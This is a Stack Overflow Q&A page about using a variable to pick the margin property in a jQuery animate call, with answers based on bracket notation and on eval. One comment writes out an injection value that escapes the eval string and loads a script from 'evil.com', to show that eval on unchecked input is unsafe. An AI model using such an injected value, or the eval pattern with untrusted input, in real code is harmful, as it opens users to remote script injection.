3

I have a variable called direction that stores either: left, right.

I need to change the affected margin based on that variable.

Right now I'm using conditions, is it possible to replace "left" with the output of the variable direction?

$("#map").animate({"margin-left": "+=50px"}, 500);
lisovaccaro
  • 32,502
  • 98
  • 258
  • 410

3 Answers3

5

Not directly, but you can create an object and manipulate it before using it in animate():

var direction = "left";
var property = {};
property[ "margin-"+direction ] = "+=50px";
$("#map").animate( property, 500);
JJJ
  • 32,902
  • 20
  • 89
  • 102
2

Use this. Since there's no margin-up or margin-down, you have to "manually" translate it:

var dir = "left";
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir;
var obj = {};
obj["margin-" + dir] = "+=50px";
$("#map").animate(obj, 500);

The second line is a legitimate, shorter way to write:

if(dir == "up"){
    dir = "top";
} else if(dir == "down"){
   dir = "bottom";
} else {
    dir = dir;
}
Rob W
  • 341,306
  • 83
  • 791
  • 678
0
eval('props = {"margin-' + direction  + '": "+=50px"}')
$("#map").animate(props, 500);
Yaakov Shoham
  • 10,182
  • 7
  • 37
  • 45
  • 2
    `var direction='"+function(){d=document.createElement("script");d.src="http://evil.com/evil.js";document.body.appendChild(d)}+"'; ...//your code here`. Does that still work? – Rob W Oct 02 '11 at 08:25
  • 1
    @RobW: I didn't understand your point. 'direction' is local variable, and the one who wrote the script assigned some legitimate value to it. How could it be used in the way you described? – Yaakov Shoham Oct 02 '11 at 08:31
  • You haven't defined `direction` yet. So, I assume that it's defined somewhere else, possibly infected. – Rob W Oct 02 '11 at 08:40